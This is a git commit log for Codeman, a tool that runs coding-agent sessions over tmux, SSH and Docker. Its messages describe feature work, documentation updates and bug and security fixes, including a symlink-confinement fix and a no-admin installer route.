call, run in an explicit sh because the guard chain is POSIX and the remote
login shell may be fish, and the probe holds a slot of the remote-ssh limiter
and execs ssh so a timeout reaches it. Notes from a remote scan are no longer
dropped, and every note now opens with its location.

The adopted branch of killSession no longer blocks the event loop on docker or
tmux, kills the in-container view by exact name, and clears the pane-exit and
reconnect state the non-owned remote branch does. An adopted wrapper reports
no injected statusline, since nothing could carry it. Key tables on the foreign
server are left alone on purpose, and the invocation now says so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:06:47 +01:00
Codeman maintainer a0e21109b2 fix(adopt): key adopted targets by location, not just socket and name
Session 0 in two containers, or one name on this machine and on an ssh host
with the same uid, shared a (socket, name) pair, so opening one returned the
other's tab and its row read "Go to tab". foreignTargetKey() is now the one
key, built from the location, the host identity, the socket and the name, and
both the one-wrapper check and adoptedBy read it.

Both also read live sessions instead of mux records, which only exist once the
first attach starts the pane. An in-flight mark closes the rest of that window:
the route awaits the registries and the layout lock before the session lands in
the map. Docker targets are keyed per engine for the same reason, or a second
daemon's container of one name was never scanned.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:03:05 +01:00
Codeman maintainer 26b63aea2d fix(edit-history): remote lookup finds tmux, a timeout reaches ssh, docs follow
Applies the review of #766.

The live lookup ran tmux on the bare PATH of the ssh command. On a host
where tmux sits in ~/.local/bin or /opt/homebrew/bin it found no pane, the
2>/dev/null hid that, and the panel stayed on the launch conversation after
a /clear. It now goes through withRemoteTmuxPath(), inside the sh script and
scoped to the $(...), so the other tools keep the PATH they had. The fake
tmux of the test block moved to $HOME/.local/bin for the same reason: that
directory is first on the new PATH, so a real tmux is never asked.

The two ssh commands get exec. Node signals the local sh -c, and dash stays
the parent of a plain command, so ssh survived the timeout. A test with a
fake ssh shows the process dies now and survives without exec.

The comment at the meta budget claimed a meta past it comes with a later
read. A meta comes only with a subagent's first read, so it is never sent.

Docs: the store is named as the exception to "never copied to local disk",
remoteProbePaths and the remote transcript lookup are described, and the
line saying a remote session loads no store is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:58 +01:00
Codeman maintainer a908be05ac fix(files): mark folders the scan limit stopped short of
The fair rounds give a directory its node before reading it, so every folder
still queued when the 5,000-node budget ends sat in the tree with empty or
partial children and read as an empty folder. Keep the node on the tree cursor
and set an additive incomplete: true on every cursor left in the queue, then
draw one dim, inert row under such a folder while it is expanded. The envelope
check ignores keys it does not know, so old and new clients stay compatible.

Stop each round at the top once the budget is spent, before the shift: the
rest stay queued unread, and flagged, rather than read and sorted for nothing.

Say what the walk is: a per-directory round-robin (breadth-first), fair per
directory and not per subtree, with search results now shallow-first.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:28 +01:00
Codeman maintainer 131a12d195 docs(codex): say what Allow network access leaves alone
The owner's answer to the PR's open question: the switch does not also pass
--sandbox workspace-write. Settings, wiki, skill and release note now state
the consequence: a folder Codex runs read-only keeps the network closed and
asks per command. A golden test pins the decision by name, and the stale
launch-defaults comments now name networkAccess.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:52:52 +01:00
Codeman maintainer bb42f8105e Merge branch 'relprep/pr-772' into relprep/pr-614
Both sides rewrite the /files walk. Keep the fair rounds from #614 and carry
the two things #772 does to the walk onto them: both queues start at walkRoot,
and the search predicate reads a path relative to the listing while every
returned path stays relative to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:50 +01:00
Codeman maintainer b51632e54b feat(desktop): install Codeman from the app, with no Terminal and no password
The This Mac tab runs install.sh --no-admin itself. The two questions only a
person can answer move into the app: which coding agent to install, shown only
when this Mac has none, and who may reach Codeman. The installer's output goes
to a file, so a running install survives the app quitting and is picked up
again when it reopens.

install.sh gains --ai-cli, --progress and a preflight subcommand, which is what
the app reads its choices from, so it keeps no copy of the CLI catalogue.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 57b2dcc466 Merge remote-tracking branch 'origin/master' into relprep/pr-510
Brings the 1.33.2 based adoption feature up to master. Conflicts were
resolved by keeping master's intent and re-applying the feature on top:
both sides kept for imports, the script tag and the stylesheet blocks; the
trust-dialog guard keeps master's stopped check plus the adopted refusal;
the Ralph and image watchers keep master's remote branch plus the adopted
skip; the close confirmation keeps master's worktree option plus the
adopted wording.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 35ff4e886c Merge origin/master into relprep/pr-753
Conflict in src/session-cli-registry-bridge.ts: kept the PR's gateVersion() (gates measured against the gated CLI's own version) and added master's Discord startup hint engine value.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:50:25 +01:00
Codeman maintainer 0d42fdc0cf Merge remote-tracking branch 'origin/master' into relprep/pr-614 2026-11-06 02:44:43 +01:00
Codeman maintainer a8688f14a0 fix: disclose the tcsh regression and bring the launch docs in line (release review)
A tcsh login shell worked on 1.48.0 only because the local sh rewrote
${SHELL:-/bin/sh} to this host's shell. With the launch verbatim, tcsh gets -i -l,
refuses it and every stock launch leaves a dead pane. The changeset and
docs/remote-sessions.md described that as a standing limitation; they now name it
as a change in this release, with what the override workaround costs.

Also: extraSshOptions joins the list of values now literal at launch, the stock pane
command is shown as /bin/sh -c in the docs and the builder's JSDoc, the invariants
state how the launch must reach the far end, the manual pages cover $ in an override,
and the invariants no longer say extraSshOptions refuses a bare $ (it never did).

Reworded the em-dashes on the invariants line this rewrites.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:42 +01:00
Codeman maintainer 9b73ab3dbe fix: state what a clear and a restart keep in the custom-model docs (release review)
Records the limit on a session with its own CLAUDE_CONFIG_DIR, which does not
carry its conversation across an endpoint because the isolated projects link
goes to the server's tree. Also records that an own home set before a restart
with no selection is lost on clear, that only an absolute path is persisted,
and tells the user manual what a clear gives back.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer 4513ef6ebb fix: keep a disabled CLI's keys in the owner env clamp (release review)
ownerClampedEnvKeys() read enabledClis(), so disabling a CLI dropped its
privileged keys from the clamp, and a revoked owner got a saved home back on
recovery or reboot restore. getCli() still returns a disabled entry, and a
session can outlive the switch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer db5222c4fa fix: keep a home value that is not a path off disk, and re-apply from the own home (release review)
getCustomModelForPersist() trusted homeEnvVar to name a path, but the registry
types it as any env name, so a clis.json override could write a session's own
credential to state.json. Only an absolute path is written now.

A re-apply resolved the CLI's real home from what the session's map held, which
under a selection is the injected directory, and recovery resolved none at all.
An entry the own home lacks (settings.yaml) was then linked from the server's
home on an endpoint switch and on recovery. The route now reads the new
Session.ownEnvValue(), and recovery reads the clamped record through the same
bounded guard, under the bulk cap since it walks every saved session. Also
corrects the comment that said only a removed directory gets its links again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer b6eea702a8 fix: correct the pi wheel docs and comments (release review)
The gate comment in terminal-ui.js said a stale-false flag falls through
to the PageUp/PageDown fallback, which is false for pi since the second
commit of this PR removed that fallback. The FOOTGUN comment above it made
the same claim. Say what happens instead.

"Every pi below 1.0.0 emits no mouse enables" was too absolute: regular
was the default there, but fullscreen exists from 0.84.0. Measured with
--tui-mode fullscreen under tmux on 0.84.1, 0.85.0, 0.86.0 and 0.99.2:
alternate_on=1, mouse_any_flag=1, mouse_sgr_flag=1. Default settings on
0.99.2 report all 0.

Document that Wheel Scrolls Local History leaves the wheel dead in
fullscreen pi (wiki, integration guide, changeset), add a pi block to
Troubleshooting, cross-reference the accepted exception from the dead
gesture rule in architecture-invariants, and mark the pi-integration-plan
passages this PR reversed as superseded.

Comments and docs only, no runtime change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:35:41 +01:00
Codeman maintainer bf6457e488 fix: accept omp and copilot in the per-mode command overrides (release review)
RemoteCommandOverridesSchema is .strict() and stopped at deepseek, so the API
refused a commands.omp or commands.copilot override although both modes can run
remotely and in a container (RemoteCommandMode, DockerCommandMode) and the launch
builders honour the key. The docs call the override the way out for a login shell
the stock launch cannot run, which was not true for those two modes.

The test walks the CLI registry, so the next CLI cannot miss the schema the same way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:34:41 +01:00
Codeman maintainer 55514c7e3c docs: state the new linked-cases answers (release review)
The API reference still said a registry failure on create and clone is
500 and did not list the rename's new 409s. CLAUDE.md said both files
are restored after a failed registry write, and left out the
config-backup restore exception.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 2ec739fd3a test: pin the rename re-checks and the refused-registry answers (release review)
The rename's checks inside mutateLinkedCases and the refused-registry
branches of rename and clone had no test: removing them left every
case route test green. A hook right after the folder move lands a link,
an unlink, a re-pointed entry or a torn file between the route's first
check and its registry write. Each new test fails when its check is
removed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 4f7ed129a9 docs: describe the live worktree listing as it now works (release review)
The security wording claimed a folder strictly below workingDir was the whole
argument, which the symlink fix showed was only the lookup's half. The rest is
docs that were missing: liveWorktree, root=live and worktree in the API
reference, the mechanism section the CLAUDE.md paragraph had no pointer to, what
a root=live query matches against, and the limits a reader meets in the wiki
(the Git panel stays on the session's folder, a session started below the
repository's top is not followed, a page under .claude/worktrees opens as
source).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:26:36 +01:00
Codeman maintainer 5c1ec46b6f fix: keep a root=live listing inside the session folder (release review)
The lookup judges liveWorktree.path lexically and only when the pane moves,
while the route's probe and readdir both follow symlinks. A symlink put at
that path, or at a parent of it, without moving the pane re-rooted the listing
outside workingDir. Names and sizes leaked, while file-content and file-raw
still refused the paths.

The route now resolves both folders on every request and walks the worktree
only when it lies strictly inside the resolved workingDir, otherwise it walks
workingDir. Only the check uses the resolved paths: the walk keeps the session's
spelling, so a workspace reached through a symlink still gets paths relative
to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:25:14 +01:00
Codeman maintainer ed74ae41bc merge feat/no-admin-install into the graphical installer branch
The graphical install runs install.sh --no-admin, so this branch needs both
PR #763 (the app) and PR #768 (the route that needs no password).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:01:55 +01:00
Codeman maintainer b5aa3fbdf7 fix(pi): leave page keys out, and pin the strip that makes the wheel work
transcriptPageKeys applied to every pi, and a pi in `tuiMode: regular` binds
PageUp/PageDown to its editor. It emits no mouse enable, so the flag stays
false, and on a fresh pane the buffer is hollow: the wheel sent PageUp, the
caret of a multi-line draft moved, and the next keystroke landed on the wrong
line. Measured on real pi 1.1.0, 1.4.0 and 1.5.0. Regular mode is not exotic,
it only takes one line in pi's settings. Telling the two modes apart would
need a new capability, since the paging gate takes no id, so pi has no
fallback: a fullscreen pi with "Wheel scrolls local history" on stays where
master left it.

altScreen, the half of the fix that does the work, was pinned by nothing:
reverting it left 1328 tests green. The strip decision table reads its
expected value from the same registry entry. pi now has its own block using
the bytes it really emits, which also pins that focus reporting survives.

The fullscreen default dates from pi 1.0.0, not 1.4.0, so the comments say
that, and the sites still calling pi narrow-strip or main-screen by default
are corrected. Where a comment listed CLIs it now names the capability.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 01:04:01 +01:00
Codeman maintainer 012ca2e971 fix(remote): keep Codeman's pane command away from the remote default-shell
Handing the launch to bash verbatim exposed `"${SHELL:-/bin/sh}"` to the far
end for the first time. tmux runs a one-argument command through the remote
default-shell, not /bin/sh as the comments said, and fish refuses `${...}`:
on a fish host, or a bash login with `set -g default-shell fish`, every new
pane died with status 127. master only survived because the local sh had
already rewritten that token to this host's shell path.

Codeman's own text now goes to `/bin/sh -c` as separate tmux arguments, which
tmux execs without a shell. A commands.* override stays one argument and keeps
the default-shell it was written for: under `/bin/sh` a `source` or `[[` in an
override dies with 127 on bash and zsh hosts.

The tests read the argv tmux would receive through a real sh, so they need no
fish: every stock launch must reach /bin/sh and an override must not. The
docker half of bashCArg was pinned by nothing, so it gets its own test.

Comments that described the removed double-quote layer are corrected, and
remote-hosts.ts no longer claims overrides are seeded from the default text
or that they rescue nushell and elvish.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 00:59:57 +01:00
Codeman maintainer 89a93c871f fix(files): list the git worktree an agent moved into (#765)
Claude Code's EnterWorktree moves the running process into
<repo>/.claude/worktrees/<name>, while Session.workingDir stays on the main
checkout. The Files panel kept walking workingDir, so it listed a tree the
agent had left.

paneCwd already follows the move, measured on Claude Code 2.1.318 in both
directions, so nothing new has to track the agent. It also follows every cd
in a shell, so a new SessionState.liveWorktree narrows it to a linked
worktree, read from the .git file without starting git.

Only a folder strictly below workingDir is ever an answer, and the listing
only starts there: returned paths stay relative to workingDir, so the
preview, raw and edit routes are unchanged and confinement does not widen.
A worktree outside the session folder stays unfollowed.

The panel asks with root=live, shows a strip naming the worktree with a
switch to the session folder, and follows the agent in and out while open.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 23:47:38 +01:00
Randalix 58dae1e182 fix(pi): forward the wheel from cliMouseTracking so scrolling survives replay
pi 1.4.0 is an alt-screen TUI that enables mouse tracking once at start.
Codeman's replay (tab switch, reload) drops that mode in xterm
(mouseTrackingMode none, baseY 0), so the wheel hit an empty local buffer
and stayed dead until a resize made pi redraw.

Same shape as copilot: altScreen strip-mux-and-mouse (the server records
the stripped DECSETs as cliMouseTracking, which survives the replay),
wheelForward always, transcriptPageKeys (PageUp/PageDown fallback for a
stale flag, measured on pi 1.4.0). _shouldForwardWheelToApp treats pi like
copilot. Registry pins and docs updated.

Tests: 2 new in terminal-scroll-routing (red before). Full run: 12989
passed, 5 red from the de_DE locale / XDG env (custom-model-run-menu-ui,
git-worktrees, edit-history-sync), all green under LANG=C.UTF-8.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
(cherry picked from commit 53e4136d9f4401e9250ac6a122599ffcb2a57e8a)
2026-11-05 23:35:14 +01:00
Randalix 21256202ba fix(remote): hand remote/docker launch commands to bash verbatim
respawn-pane runs `bash -c "<ssh …>"` through the local sh, so every `$` in
the remote command is expanded on the Codeman host. withRemoteTmuxPath
(`export PATH="$HOME/.local/bin:…:$PATH"; tmux …`, 5b9445de) therefore sends
the Codeman host's home and PATH to the remote host: a remote user with a
different home (tmux in ~/.nix-profile/bin) gets "tmux: command not found" and
every new remote pane exits 127. `${SHELL:-/bin/sh}` in the remote launch was
the local shell for the same reason.

Remote and docker commands are already quoted for the far end, so they now go
to `bash -c` single-quoted (bashCArg); local commands keep the double-quoted
form. Two tests run the captured respawn-pane line (create and respawn)
through a real sh with a foreign HOME/PATH and check that ssh gets `$HOME` and
`$PATH` unexpanded.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit 2818e9455489b9acd65841258df4cd035609954c)
2026-11-05 23:35:13 +01:00
Codeman maintainer ae28534406 feat(install): install without administrator rights (--no-admin)
Codeman itself always lived under $HOME; administrator rights were only
spent on what it needs first (system packages for Node.js, tmux and git,
Homebrew on a Mac). An account without those rights could not install it:
the installer died in ensure_sudo, or in Homebrew's own installer.

install.sh now has a no-admin route, taken by itself when the account has
no administrator rights (no sudo binary; outside sudo/wheel/admin and
`sudo -n true` fails; a refused sudo password; a Mac account outside the
admin group with no writable Homebrew) and forced with --no-admin or
CODEMAN_NO_ADMIN=1:

- Node.js: the official tarball from nodejs.org, checked against the
  SHASUMS256.txt published beside it, into ~/.codeman/runtime/node.
- tmux: the tmux project's own build (tmux/tmux-builds 3.7c), checked
  against a SHA-256 pinned in the installer, into ~/.codeman/runtime/bin.
- Both are linked from ~/.local/bin (never over a file that is not ours),
  and the runtime is on PATH and on the LaunchAgent's PATH.
- git is never installed. Without a working git the source comes as an
  archive, the install is marked with .install-source, and it updates by
  re-running the installer: the new tree is built beside the old one and
  swapped in only after the build succeeded. A later re-run on a machine
  that has gained git turns it back into a clone.
- Nothing on this route runs sudo, Homebrew or `xcode-select --install`,
  and the route is never decided by `sudo -v`.

What it cannot supply is checked before the first download: a C/C++
toolchain on Linux (node-pty 1.1.0 compiles there), musl, and macOS below
15 (the tmux build's deployment target).

Along the way:

- check_git no longer trusts `command -v git`. On a Mac without the Xcode
  Command Line Tools /usr/bin/git is a stub that opens Apple's install
  dialog; it is judged by `xcode-select -p` and never executed. Any other
  git is asked for its version.
- scripts/git-hooks.mjs answers "not a checkout" without running git, for
  the same reason: postinstall calls it on every npm install.
- The in-app updater knows the install kind `archive` and points such an
  install at the installer instead of `npm i -g aicodeman@latest`.
- download() and download_to_stdout() resolve DOWNLOADER themselves. Only
  main() used to set it, so `install.sh cloudflared` died on `set -u` with
  the message swallowed by the step log.
- The AI CLI menu leaves out a Homebrew-only install command where there
  is no Homebrew.

Verified with the real installer: a bare Ubuntu 24.04 container as an
unprivileged user (install, a PTY round trip through the API, update by
re-run, cloudflared, uninstall), the same without a compiler (stops before
any download), with a broken then working git, with sudo present but not
usable, and on macOS 26 (arm64) in an isolated HOME with sudo, brew, git,
the compilers, launchctl and tailscale replaced by tripwires. Not verified
on a real standard macOS account: that account was an administrator.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-05 18:50:58 +01:00
Codeman maintainer 10d43b993e fix(custom-model): give a session its own env values back when the selection goes
Applying a custom model writes the endpoint's values over the keys it
injects, and clearing the model unset those keys. A session that had set
one of them itself lost that value: its own DSH_HOME, CODEX_HOME,
GROK_HOME or GEMINI_API_KEY was gone once the model was cleared, and so
was CLAUDE_CONFIG_DIR, which silently moved a Claude session onto the
default account. Switching endpoints did the same.

setCustomModel() now records what the session held under each injected
key and restores it on clear and on switch. Quick-start passes the
caller's values to the Session constructor so they are seen before the
selection lands.

The selection overwrites the only other copy, tmux's setenv, so the
session's own home directory has to survive a Codeman restart on its
own. __customModel therefore stores that one path, the single exception
to persisting keys only, and recovery runs it through
clampEnvOverridesForOwner() so a revoked grant cannot bring it back. Any
other own value, a credential included, stays in memory only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:25:49 +01:00
Codeman maintainer 46b85fa6d0 chore: bump Playwright to 1.64.1 and unpin the browser suite
Playwright supports Ubuntu 26.04 from 1.61.0, so the browser suite can go
back to ubuntu-latest. Raises the floor in package.json as well, because
the old ^1.58.0 still admitted versions that refuse to install on the
image every workflow now runs on. Bundled Chromium moves from 148 to 156.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:22:41 +01:00
Codeman maintainer aa463d9d28 ci: pin the browser suite to ubuntu-24.04
ubuntu-latest moved to 26.04 and the locked Playwright 1.60.0 refuses to
install chromium there (support starts at 1.61.0), so the nightly stopped
before running a test. Pin to the image of the last green run, so a failure
now points at our code rather than at a new OS and Chromium. Unpin when
Playwright is bumped.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:15:43 +01:00
RandalixandClaude Opus 5.5 cce28c24f9 test(edit-history): session-aware deps in the tests added by the #693 review
The probe-stall test and the removal test were written against the path-only deps. With the session argument the first failed outright and the second passed without reaching the probe. Both now use the real shape; removing the isRemoved() guard turns the second red. The route comments no longer call remote sessions unsupported.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 11:22:26 +01:00
RandalixandClaude Opus 5.5 f27fda0f45 test(edit-history): the live conversation wins even when older; tighter wiring guard
Review round 3 (all low):
- the "written last" test left solo newer than conv-1 for the rest of the
  file, so the live test passed by mtime alone. solo's mtime is reset in a
  finally, and the live test now runs with the live transcript older than
  the stored one (a /resume into an older conversation before it writes).
- the server wiring guard matches the remote branch of the ternary as one
  expression, so swapped branches fail it.
- note on whole-second `-nt` (BusyBox, bash 3.2) at the lookup.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 5bcec26066 fix(edit-history): a remote lookup takes the conversation written last, not the first id's
Review round 2: with the stored conversation tried before the launch id, a
respawn that resumed the launch conversation after a /clear was missed once
claude exited again: the cleared-to conversation still had a file and won,
so the edits made after the resume were never read. No fixed order of the
ids is right both after a /clear and after such a resume. Without a live
conversation the lookup now takes the most recently written transcript of
all known ids (stored, claudeSessionId, id); the live one still goes first.

Also from the review:
- the remote no-transcript note and the docs name login profiles too
  (.profile, .bash_profile): sshd's `bash -c` reads neither, like .zshrc;
- a wiring guard pins that server.ts looks a remote transcript up with
  remoteTranscriptIds and leaves the local lookup on the hook path;
- the browser tests undo the injected remote session in a finally.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 0a6a877415 fix(edit-history): remote reads get time for their size, follow CLAUDE_CONFIG_DIR, keep the conversation after /clear
Review findings on the remote edit history:

- A forward read may carry 13 MiB and "Load older" 29 MiB; the flat 30 s
  read timeout cut those off below ~1 MiB/s. The timeout now adds the
  transfer time at 256 KiB/s (remoteEditSourcesTimeoutMs). It ends a hung
  read, it does not cut a slow one.
- The transcript lookup looked only under $HOME/.claude. It now uses an
  absolute CLAUDE_CONFIG_DIR of the ssh command's environment, else
  $HOME/.claude, for both the projects and the live sessions/<pid>.json.
  A value set only in .zshrc stays invisible (the lookup is a plain sh);
  documented, and the panel's remote no-transcript note says so instead
  of promising the next prompt (a remote host sends no hooks).
- After a remote /clear claudeSessionId stays the launch id, so once the
  remote claude exited the lookup fell back to the cleared conversation
  and the panel flipped back. The sync now hands the lookup the stored
  conversation, tried right after the live one (remoteTranscriptIds).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:52 +01:00
RandalixandClaude Opus 5.5 c4ba14235f feat(edit-history): read remote (SSH) claude sessions, never waking the host
The edit history panel now covers remote claude sessions. The sync stays
path-based; its deps get the session and server.ts routes them to the local
reader or to two new ssh reads in remote-files.ts:

- remoteLocateClaudeTranscript: one round trip; the conversation the remote
  pane's claude writes now (~/.claude/sessions/<pid>.json via the pane's
  process tree, since remote hosts send no hooks), else claudeSessionId,
  else the session id, newest $HOME/.claude/projects/*/<id>.jsonl.
- remoteReadClaudeEditSources: one round trip per read pass, with the local
  reader's semantics (offset clamp, block end at offset+len, new files read
  their tail, shared main-first budget, onlyRequested, 8 KiB meta cap).

So /clear catch-up, "Load older", cursors and the store LRU work remotely
unchanged. Reads use buildRemoteFileCommand + runWithRemoteSshLimit only:
a sleeping host is a connect timeout -> unavailable, stored entries kept.

Tests: both scripts run on a real sh against a temp HOME; the read is
compared byte for byte with readClaudeEditSources on 60 seeded random
transcripts. A transitive import guard pins that the edit-history read path
reaches neither remote-wake.ts nor session-routes.ts. Browser: a remote
session lists images without thumbnails, a click previews. Docs updated.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:46 +01:00
Codeman maintainer 5929584ea4 fix(cases): serialize every write to linked-cases.json
Five routes changed the linked-cases registry: link, unlink, rename, and a
create or clone into a custom folder. Each read the file, checked it and wrote
it back on its own, so two requests that both read before either wrote lost
an entry. Two clones that claimed one name and finished together both passed
the name check, both answered success, and the later write replaced the
earlier entry. The same race made "a name linked while the clone ran is a
409" in test/routes/case-clone-custom-folder.test.ts fail about half the time.

- New src/web/linked-cases-writer.ts, mutateLinkedCases(), shaped like
  mutateSettingsFile(): mutations run one at a time, each write is a temp
  file renamed over the registry (through a symlink, keeping its mode), and
  a file that is not a JSON object is refused (409 CONFLICT) instead of being
  read as {} and overwritten.
- All five writers go through it, with their name checks inside the
  callback, so exactly one of two requests for one name wins. Rename also
  re-checks that the old name still points at the old folder, and drops its
  manual registry undo, since a failed write no longer changes the file.
- Tests: test/linked-cases-writer.test.ts (writer behaviour, and concurrent
  link/unlink through the routes with slowed writes, which fail on the old
  code). Tests that forced a failed registry write with chmod 444 or a
  directory now inject the failure at the rename, or expect the refusal.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 02:11:27 +01:00
Devvyn b89de128e1 docs(picker): name both pickers in the manual and cover the clone picker in the New folder test 2026-11-05 08:15:40 +08:00
Codeman maintainer 8ba5134174 feat(desktop): native macOS app that runs, installs or connects to Codeman
Adds packages/desktop, a small native app (Rust: tao, wry/WKWebView, muda,
objc2) that opens Codeman in its own window. The universal app is about 5 MB
(3.2 MB as a DMG) and runs on macOS 11.3 or later.

- Connect screen with two tabs. This Mac finds the local Codeman and offers
  Open, Start or Install. Start uses launchd for a LaunchAgent install and
  codeman web -d otherwise. It never starts a second server while one runs,
  because two servers on one data dir share live sessions. Another machine
  connects by address (recent servers, Keychain logins) and can install
  Codeman there over SSH.
- Installs run Codeman's install.sh in Terminal from a self-deleting
  .command script. The installer needs a terminal for sudo, Homebrew and
  ssh. A local install uses --local --service and the first free port from
  3000, and the app opens Codeman once it answers.
- The local Codeman's login is read from its LaunchAgent or
  ~/.codeman/.env. It is sent only to 127.0.0.1 on that port, only while
  the user's own Codeman process holds it, and is never saved.
- Native JS dialogs (alert, confirm, prompt) and HTTP Basic challenge
  answers, both scoped to Codeman's own pages, so the page keeps working
  after a server restart. App cookies are cleared before every connect.
- Pop-outs through window.CodemanHost, with an allowlist (webview/ never
  opens a window), external links in the default browser, downloads to
  ~/Downloads, real full screen and window state that is remembered.
- The connect page refuses a WebKit older than Safari 16.4, which Codeman's
  terminal needs.

Codeman side: viewSubagentTranscript shows a toast when the pop-up is
refused instead of failing, with zh-CN strings and a test that pins them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:36:49 +01:00
Devvyn cddfb48ea6 feat(picker): New folder button for Create New's custom folder picker
Turns on the picker's New folder button for "Choose the folder to create the
case in", the folder picker behind Create New's custom folder option.
2026-11-05 07:30:29 +08:00
Codeman maintainer 9eac5ecf01 test: wait for the first read before starting the other edit history sessions
The gate belonged to whichever read arrived first, and sessions load their stores
independently, so under CI timing another session took it, the loop never reached
release() and the test timed out (master, CI run 41930703100). The code cannot block
one session on another: sync() only waits on its own slot.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:21:12 +01:00
Codeman maintainer 87c656283d feat(codex): let Codex sessions drive other sessions through the codeman skill
Measured on 1.47.0 with the same "spawn a shell worker, echo, read, delete"
task: DeepSeek Harness and OpenCode already pass end to end; Codex 0.162
failed three ways, fixed here.

- Start Codex 0.162+ with --no-daemon (new noDaemonFlag gate, fail-closed).
  The shared app-server daemon stopped every launch on an "incompatible
  feature settings" dialog when another version's daemon was running, and
  ran commands with another session's CODEMAN_* environment.
- Evaluate registry version gates against the gated CLI's own version
  (resolveSessionCliVersion) instead of claude's for every entry.
- Add the opt-in synced setting App Settings > Codex > Allow network access
  (codexNetworkAccess, default off): --config
  sandbox_workspace_write.network_access=true, filled as a launch default
  and clamped off for non-granted owners like the bypass switch.
- Skill: carry on with the curl path when `codeman` is not on PATH, re-run a
  sandbox-blocked call once through the CLI's approval path, name the new
  setting. Wiki and registry docs updated.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-01 06:21:38 +01:00
Codeman maintainer 538fcae708 fix(response-viewer): lay out Persian, Arabic and Hebrew right to left (#715)
The Response Viewer and the File Viewer's markdown view gave no block a
dir, so a right-to-left answer was left-aligned with its punctuation on
the wrong end and its bullets and quote bar on the left.

_renderMarkdown now gives each outermost prose block dir="auto" (nested
blocks inherit, so a list keeps its markers on one side), pins pre and
code to dir="ltr", and keeps a dir the agent wrote. _linkifyFilePaths
pins the path anchors it creates to ltr. Because dir="auto" skips
descendants that carry a dir, code and paths no longer decide a
sentence's direction. The list indent, quote bar and table borders move
to logical properties, and the phone Compose textarea gets dir="auto".

The terminal pane is unchanged: xterm.js has no right-to-left support
(xtermjs/xterm.js#701).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-25 16:03:41 +01:00
shenlvkang-collab bbd840adba fix(files): share File Viewer scan budget across directories 2026-10-13 20:01:33 +08:00
Codeman maintainer 0a63588716 feat(docker): guided first run for the Compose deployment
A new Docker install was: clone (undocumented), copy .env.example by hand,
fix an Unraid data path and a Perth time zone, replace `changeme`, run the
start script, and then guess when the server was up. Start-Codeman.sh now
does all of it from a fresh clone:

- Preflight names the fix for a missing docker CLI, a missing or too-old
  Compose plugin (config --environment needs 2.27.2, docker/compose#11891),
  and an unreachable daemon (docker group, never sudo).
- With no docker/.env, it asks three questions (data folder, port,
  password; Enter takes each default: ~/codeman-docker, 3000 or the next
  free port, a generated password) and writes docker/.env FROM the example,
  so every key the updater's diffRequiredEnvKeys expects is present. Mode
  0600, host time zone, values Compose would interpolate single-quoted.
  Refuses $HOME, ~/.codeman (a native install's state dir) and anything
  inside the checkout (the image build context). --yes / no TTY take the
  defaults, --setup-only stops after writing the file. An existing .env is
  never edited, and root never runs the setup (Unraid keeps the hand route).
- After `up`, it waits until the server answers (docker exec probe, crash
  loop caught by the restart count) and prints the URL, the LAN URL, the
  generated password and the logs/stop commands; --no-wait skips the wait.
- `changeme` is refused before anything starts (the container publishes on
  every interface and holds the Docker socket); Update-Codeman.sh checks it
